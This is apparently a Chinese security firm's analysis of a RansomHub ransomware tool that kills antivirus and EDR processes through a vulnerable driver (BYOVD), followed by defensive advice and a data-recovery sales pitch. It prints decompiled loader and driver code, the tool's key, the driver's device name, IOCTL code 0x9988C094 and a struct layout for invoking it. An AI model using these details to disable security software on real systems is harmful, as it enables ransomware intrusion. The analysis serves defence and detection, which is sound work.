【攻击手法分析】勒索病毒如何轻松绕过安全设备防线:第一篇-驱动漏洞一击致命
【攻击手法分析】勒索病毒如何轻松绕过安全设备防线:第一篇-驱动漏洞一击致命
原创 索勒安全团队 solar应急响应团队 2024-12-11 01:02
引言:在之前的文章【成功案例】lockbit家族百万赎金不必付!技术手段修复被加密的数据库,附溯源分析报告中,我们提到,尽管许多企业已经部署了众多安全设备和备份解决方案,并建立了相对成熟的安全运营体系,但在如此复杂的网络环境中,依然存在漏洞,导致黑客成功发起勒索加密攻击,最终造成业务瘫痪。
通过对加密样本的提取和分析,我们识别出黑客使用了一些隐蔽的攻击手法,如Killav和致盲等,这些技术成功绕过了现有的安全防护,未能及时被检测到。本篇文章将深入解析黑客如何利用漏洞驱动Kill AV攻击的全流程,下一篇则将讨论如何配合驱动进行流量致盲,从而使部署的EDR无感地执行加密,导致机器被加密,敬请期待!
模拟客户网络拓扑环境
1. 背景
1.1 家族介绍
关于RansomHub家族信息详情可参考本篇文章
【病毒分析】RansomHub:唯一不攻击中国的2024全球Top1勒索家族——ESXi加密器深度解析
1.2 防病毒软件(AV)测试结果
通过技术手段捕获RansomHub家族的killAV程序后,我们第一时间对国内外主流的防病毒软件(AV)和终端检测与响应(EDR)系统进行了测试,发现该程序能够成功地强制关闭绝大部分杀毒软件的防护功能,意味着它具备了强大的绕过防护机制的能力。具体测试结果如下:
杀软 | 结果 | 测试截图 | 公司及产品介绍 |
---|---|---|---|
Sophos home | 成功kill | Sophos 是一家全球领先的网络安全公司,总部位于英国牛津,成立于1985年。Sophos专注于提供企业级的安全解决方案,主要包括防病毒、防恶意软件、端点安全、加密、网络防火墙、入侵防御、邮件安全等产品。Sophos以其创新的安全技术、强大的威胁检测能力和简便的管理界面,在全球企业用户中具有广泛的影响力。Sophos Home 防病毒软件 是一款专为家庭用户设计的网络安全工具,旨在提供企业级防护,帮助用户抵御各种网络威胁,包括病毒、勒索病毒、恶意软件等。Sophos Home结合了Sophos公司多年在企业级安全领域的经验,涵盖端点保护、勒索病毒防护等功能,并提供强大的云端防护技术。 | |
eset | 成功kill | ESET是一家总部位于斯洛伐克的全球领先网络安全公司,成立于1987年。ESET专注于提供创新的网络安全解决方案,涵盖个人和企业的防病毒、防恶意软件、反间谍软件等产品。ESET凭借其高度准确的威胁检测技术和全球覆盖的支持服务,已成为网络安全领域的知名品牌,提供了多种防护解决方案,帮助用户防范网络攻击、病毒、恶意软件及其他数字威胁ESET 防病毒软件 以其高效的病毒检测、低资源消耗和简便的用户体验而广受欢迎。具备勒索病毒防护、反钓鱼保护、Web和网络保护等功能,ESET的防病毒软件适用于家庭用户和企业用户,提供多层次的保护,确保用户的设备免受各种网络安全威胁。 | |
某二字杀软 | 成功kill | 国内某安全厂商主流防病毒软件 | |
某二字edr | 成功kill | 国内某安全厂商主流防病毒软件 | |
某三字edr | 成功kill | 国内某安全厂商主流防病毒软件 | |
某三字edr | 成功kill | 国内某安全厂商主流防病毒软件 |
这也解释了为何在许多应急响应案例中,尽管客户部署了多种安全设备,勒索软件仍能够成功突破终端防护的原因之一。
2.对抗AV样本分析
这个包含一个加密后的文件以及一个用于解密此文件并将其加载的加载器
以及一个使用说明如下
* Must have administrator privileges
* Don't leak the pass
* Version: 2.0.4
* Must have Data.bin
Having two run modes:
1. Loader.exe -key 5cfffed3584645c1f5b53f9ebb20424a823a2888a161935f184aa1794777edda
2. Loader.exe and input 5cfffed3584645c1f5b53f9ebb20424a823a2888a161935f184aa1794777edda
3. Loader.exe -key 5cfffed3584645c1f5b53f9ebb20424a823a2888a161935f184aa1794777edda
4. Loader.exe -list av.txt and input 5cfffed3584645c1f5b53f9ebb20424a823a2888a161935f184aa1794777edda
07/07
* Byass AV
06/07
* Byass AV
05/15
* Byass AV
* some AV
05/08
* add BitDefender
05/06
* add Trend Micro Deep Security
05/05
* add Trend Micro
* fix some bug
2.1 程序流程
该程序执行流程如下,通过BYOVD利用漏洞驱动对杀软进行强关
2.2 逆向分析
拖入die中发现他是由c++编写的程序。
首先读取key
memset(v15, 0, sizeof(v15));
printf("key:\n");
scanf("%s", v15);
然后通过key对bin进行解密,首先对文件继续
FileW = CreateFileW(L"Data.bin", 0x80000000, 0, 0i64, 3u, 0x80u, 0i64);
v6 = FileW;
if ( FileW == (HANDLE)-1i64 )
return 0i64;
if ( !GetFileSizeEx(FileW, &FileSize) || !FileSize.QuadPart )
{
CloseHandle(v6);
return 0i64;
}
v7 = (char *)VirtualAlloc(0i64, FileSize.QuadPart, 0x1000u, 0x40u);
for ( i = 0; ReadFile(v6, Buffer, 0x800u, &NumberOfBytesRead, 0i64); i += v9 )
{
v9 = NumberOfBytesRead;
if ( !NumberOfBytesRead )
break;
v10 = Buffer;
v11 = &v7[i];
v12 = (unsigned __int64)NumberOfBytesRead >> 3;
v13 = NumberOfBytesRead;
if ( v12 )
{
do
{
v14 = *(_QWORD *)v10;
v10 += 8;
*(_QWORD *)v11 = v14;
v11 += 8;
--v12;
}
while ( v12 );
v9 = NumberOfBytesRead;
}
v15 = v13 & 7;
if ( (_DWORD)v15 )
{
v16 = v11 - v10;
do
{
v10[v16] = *v10;
++v10;
--v15;
}
while ( v15 );
v9 = NumberOfBytesRead;
}
}
CloseHandle(v6);
pdwDataLen = FileSize.LowPart;
if ( CryptAcquireContextW(&phProv, 0i64, 0i64, 0x18u, 0xF0000000)
&& CryptCreateHash(phProv, 0x800Cu, 0i64, 0, &phHash)
&& CryptHashData(phHash, a2, a3, 0)
&& CryptDeriveKey(phProv, 0x6610u, phHash, 0, &phKey)
&& CryptDecrypt(phKey, 0i64, 1, 0, (BYTE *)v7, &pdwDataLen) )
{
CryptReleaseContext(phProv, 0);
CryptDestroyHash(phHash);
CryptDestroyKey(phKey);
Sleep(3u);
return v7;
}
else
{
free(v7);
return 0i64;
}
}
具体解密流程如下:
1.获取加密上下文:通过 CryptAcquireContextW 获取加密服务提供者的上下文。
2.创建哈希对象:通过 CryptCreateHash 创建一个 SHA-1 哈希对象。
3.计算数据的哈希值:通过 CryptHashData 计算给定数据的哈希值。
4.派生密钥:通过 CryptDeriveKey 从哈希值派生一个 RC4 密钥。
5.解密数据:使用 CryptDecrypt 通过派生的 RC4 密钥解密数据。
6.清理资源:通过 CryptReleaseContext、CryptDestroyHash 和 CryptDestroyKey 释放加密服务提供者、哈希对象和密钥的资源。
最后生成一个解密后的shellcode并返回
通过copyFile2 执行回调
v12 = decode((__int64)v9, (const BYTE *)v4, v10);
if ( v12 )
{
pExtendedParameters.dwSize = 32;
pExtendedParameters.dwCopyFlags = 1;
pExtendedParameters.pfCancel = 0i64;
pExtendedParameters.pProgressRoutine = (PCOPYFILE2_PROGRESS_ROUTINE)v12;
pExtendedParameters.pvCallbackContext = 0i64;
DeleteFileW(L"C:\\Windows\\Temp\\backup.log");
CopyFile2(L"C:\\Windows\\DirectX.log", L"C:\\Windows\\Temp\\backup.log", &pExtendedParameters);
}
通过对createfileA函数下断点,可以发现在C:\Users\username\AppData\Local\Temp目录下释放了这个驱动,之后就是加载该驱动并利用此驱动关闭杀软进程
2.3 驱动分析
驱动利用方法如下
驱动设备名如下
PsGetVersion(&MajorVersion, &MinorVersion, &dword_5C8B0, 0LL);
dword_5C8CC = MinorVersion | (MajorVersion << 8);
if ( (MinorVersion | (MajorVersion << 8)) < 0x500 )
return -1073741823;
v3 = L"aswSP_Avar";
if ( !byte_5C9D0 )
v3 = L"avgSP_Avar";
qword_5C8C0 = (__int64)v3;
_snwprintf(&word_5C800, 0x1EuLL, L"\\Device\\%s");
_snwprintf(word_5C960, 0x1EuLL, L"\\DosDevices\\%s", qword_5C8C0);
RtlInitUnicodeString(&DestinationString, &word_5C800);
RtlInitUnicodeString(&SymbolicLinkName, word_5C960);
跟踪到需要调用的函数如下,传入pid即可调用ZwTerminateProcess强关杀软
__int64 __fastcall sub_2B418(unsigned int a1){
NTSTATUS v1; // eax
unsigned int v2; // ebx
struct _CLIENT_ID ClientId; // [rsp+30h] [rbp-78h] BYREF
struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+40h] [rbp-68h] BYREF
struct _KAPC_STATE ApcState; // [rsp+70h] [rbp-38h] BYREF
PVOID Object; // [rsp+B8h] [rbp+10h] BYREF
void *ProcessHandle; // [rsp+C0h] [rbp+18h] BYREF
ClientId.UniqueThread = 0LL;
ObjectAttributes.Length = 48;
memset(&ObjectAttributes.RootDirectory, 0, 20);
ObjectAttributes.SecurityDescriptor = 0LL;
ObjectAttributes.SecurityQualityOfService = 0LL;
ClientId.UniqueProcess = (HANDLE)a1;
KeStackAttachProcess(Process, &ApcState);
v1 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId);
v2 = v1 == 0;
if ( !v1 )
{
if ( !ObReferenceObjectByHandle(ProcessHandle, 0, 0LL, 0, &Object, 0LL) )
{
switch ( dword_5C8CC )
{
case 1281:
*((_DWORD *)Object + 146) &= ~0x2000u;
break;
case 1282:
*((_DWORD *)Object + 144) &= ~0x2000u;
break;
case 1536:
*((_DWORD *)Object + 138) &= ~0x2000u;
break;
case 1537:
*((_DWORD *)Object + 156) &= ~0x2000u;
break;
case 1538:
*((_DWORD *)Object + 154) &= ~0x2000u;
break;
}
ObfDereferenceObject(Object);
}
v2 = ZwTerminateProcess(ProcessHandle, 0);
ZwClose(ProcessHandle);
}
KeUnstackDetachProcess(&ApcState);
return v2;
}
交叉引用到调用该函数的地方,发现通过调用号0x9988C094 调用
else if ( a6 == 0x9988C094 )
{
if ( a3 != 4 || !a2 )
{
*a7 = -1073741306;
return 3221225990LL;
}
v44 = sub_2B418(*a2);
v45 = a7;
*a7 = v44;
}
其中rdi就是我们传入的结构体,它取了传入的结构体的第一个成员当参数。
因此只要构造一个只有一个成员的结构体即可
#[repr(C, packed)]
struct BYOVD_STRUCT {
pid: DWORD,
}
最后,加载驱动之后再向该驱动发送调用号以及构造好的结构体即可调用该驱动强关杀软
3. 总结
本篇详细介绍了一个RansomHub家族使用工具绕过杀软防护并加载恶意驱动的全流程。程序通过BYOVD(Bring Your Own Vulnerable Driver)技术利用漏洞驱动,强制终止安全软件进程。解密过程首先通过提供的密钥解密文件,并通过RC4算法对数据进行解密,最终生成恶意shellcode。恶意驱动利用系统漏洞加载后,程序通过构造特定的结构体,调用驱动程序中的 ZwTerminateProcess 函数,强制终止指定进程(如杀软)。该程序的关键技术包括加密解密过程、驱动加载与执行以及杀软绕过技术,通过操控系统的低级接口和系统调用,达到禁用安全软件的目的。
本系列将继续揭示勒索家族绕过或突破安全防护设备,窃取数据并实施勒索服务的技术手法,旨在帮助大家识别攻击手段,从而进行针对性的防御优化,敬请期待下篇文章!
以下是solar安全团队近期处理过的常见勒索病毒后缀:
勒索攻击作为成熟的攻击手段,很多勒索家族已经形成了一套完整的商业体系,并且分支了很多团伙组织,导致勒索病毒迭代了多个版本。而每个家族擅用的攻击手法皆有不同,TellYouThePass勒索软件家族常常利用系统漏洞进行攻击;Phobos勒索软件家族通过RDP暴力破解进行勒索;Mallox勒索软件家族利用数据库及暴力破解进行加密,攻击手法极多防不胜防。
而最好的预防方法就是针对自身业务进行定期的基线加固、补丁更新及数据备份,在其基础上加强公司安全人员意识。
4.安全建议
4.1 风险消减措施
前期处理方法(企业内部):
1.尽快断开被感染设备的网络连接,以防止病毒进一步扩散!
2.请勿中途强制关机,该行为会造成不可逆后果
3.不要尝试自行解密或支付赎金,以免造成更大损失!以下为详细的消减措施:
1. 数据备份策略
定期进行数据备份,并确保备份数据存储在物理隔离的设备或云环境中,避免备份被勒索病毒感染。
实施多重备份策略,如每日、每周、每月备份,以确保在灾难恢复时有多种数据版本可供选择。
2. 系统和应用更新
定期更新操作系统和应用软件,及时打补丁,修复已知的漏洞。
开启自动更新功能,确保始终拥有最新的安全补丁。
3. 邮件和浏览器安全
部署电子邮件安全
网关,过滤恶意附件和链接。
培训员工识别钓鱼邮件和恶意链接,提高对社会工程攻击的防范意识。
限制员工对高风险****
网站(如未经过筛选的下载网站)的访问,减少通过恶意广告和下载感染的风险。
4. 用户权限管理
最小权限原则(Principle of Least Privilege):根据岗位需求分配权限,避免不必要的管理员权限。
禁止员工使用公共账户和共享账号,所有用户需拥有独立的登录凭证。
5. 启用多因素认证(MFA)
为关键系统和远程访问启用MFA,防止账号被未经授权访问。
除了密码之外,添加短信验证、动态令牌等额外的安全层。
6. 网络分段与隔离
实施网络分段,将关键系统与普通网络隔离开,防止勒索病毒在局域网内扩散。
对于重要的业务系统,采用单独的VLAN和防火墙策略进行防护。
7. 部署防勒索软件和端点检测响应(EDR)
使用防病毒软件和防勒索软件,及时识别和阻止潜在的勒索病毒攻击。
部署EDR解决方案,以监测和响应异常活动,迅速隔离感染设备,防止病毒扩散。
8. 建立并测试应急响应计划
制定详细的应急响应计划,明确在勒索攻击发生时的应对步骤。
定期演练,测试该计划的可操作性,并进行改进。
9. 入侵检测与流量监控
使用入侵检测系统(IDS)和入侵防御系统(IPS),识别和阻断异常流量。
监控网络流量日志,以便在勒索病毒传播的早期阶段及时发现异常。
4.2 安全设备调优
目标
通过对安全现状的梳理和分析,识别安全策略上的不足,结合目标防御、权限最小化、缩小攻击面等一系列参考原则,对设备的相关配置策略进行改进调优,一方面,减低无效或低效规则的出现频次;另一方面,对缺失或遗漏的规则进行补充,实现将安全设备防护能力最优化。
主要目标设备
网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。
4.3 全员安全意识增强调优
目标:
通过网络安全意识宣贯、培训提升全方位安全能力
形式:
线下培训与宣贯:
采用面授形式,通过系统化的课程安排,确保全员深入理解网络安全的核心概念和防护措施。
线上替代方案
分发学习材料:
在无法
组
织线下培训的情况下,可以提供安全意识培训材料,由各级管理层分发,鼓励员工自主学
习。
线上培训会议:
组织线上集体学习会,安排网络安全专家进行远程培训,确保人员得到充分指导和答疑。
我司自主研发的知行网络安全教育平台结合多种培训方式的组合,灵活应对不同场景,确保每位员工具备扎实的网络安全意识与技能。
知行网络安全教育平台
视频学习功能
AI助教功能
题目练习功能
自主练习功能
5.团队介绍
solar团队数年深耕勒索解密与数据恢复领域,在勒索解密和数据恢复领域建立了良好的声誉,以高效、安全、可靠的解决方案赢得了客户的信任。无论是个人用户还是大型企业,都能提供量身定制的服务,确保每一个被勒索软件侵害的数据都能够恢复到最佳状态,同时在解密数据恢复后,提供全面的后门排查及安全加固服务,杜绝二次感染的风险。
同时,solar团队坚持自主研发及创新,在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入,目前已获得十几项专利及知识产权。
团队也先后通过了科技型中小企业、创新型中小企业认证、ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系 、ITSS(信息技术服务运行维护标准四级)以及国家信息安全漏洞库(CNNVD)技术支撑单位等认证,已构建了网络安全行业合格的资质体系。
More
6.数据恢复服务流程
多年的数据恢复处理经验,在不断对客户服务优化的过程中搭建了”免费售前+安心保障+专业恢复+安全防御”一体化的专业服务流程。
① 免费咨询/数据诊断分析
专业的售前技术顾问服务,免费在线咨询,可第一时间获取数据中毒后的正确处理措施,防范勒索病毒在内网进一步扩散或二次执行,避免错误操作导致数据无法恢复。
售前技术顾问沟通了解客户的机器中毒相关信息,结合团队数据恢复案例库的相同案例进行分析评估,初步诊断分析中毒数据的加密/损坏情况。
② 评估报价/数据恢复方案
您获取售前顾问的初步诊断评估信息后,若同意进行进一步深入的数据恢复诊断,我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。
专业数据恢复工程师根据数据检测分析结果,定制数据恢复方案(恢复价格/恢复率/恢复工期),并为您解答数据恢复方案的相关疑问。
③ 确认下单/签订合同
您清楚了解数据恢复方案后,您可自主选择以下下单方式:
双方签署对公合同:根据中毒数据分析情况,量身定制输出数据恢复合同,合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款,双方合同签订,正式进入数据恢复专业施工阶段,数据恢复后进行验证确认,数据验证无误,交易完成。
④ 开始数据恢复专业施工
安排专业数据恢复工程师团队全程服务,告知客户数据恢复过程注意事项及相关方案措施,并可根据客户需求及数据情况,可选择上门恢复/远程恢复。
数据恢复过程中,团队随时向您报告数据恢复每一个节点工作进展(数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认)。
⑤ 数据验收/安全防御方案
完成数据恢复后,我司将安排数据分析工程师进行二次检查确认数据恢复完整性,充分保障客户的数据恢复权益,二次检测确认后,通知客户进行数据验证。
客户对数据进行数据验证完成后,我司将指导后续相关注意事项及安全防范措施,并可提供专业的企业安全防范建设方案及安全顾问服务,抵御勒索病毒再次入侵。
点击关注下方名片进入公众号 了解更多
更多资讯 扫码加入群组交流
喜欢此内容的人还喜欢
【成功案例】某集团公司的Phobos最新变种勒索病毒2700解密恢复项目
索勒安全团队
【文章转载】一份“Egg-Cellent”的履历:揭秘背后的安全威胁与防护
索勒安全团队
索勒安全团队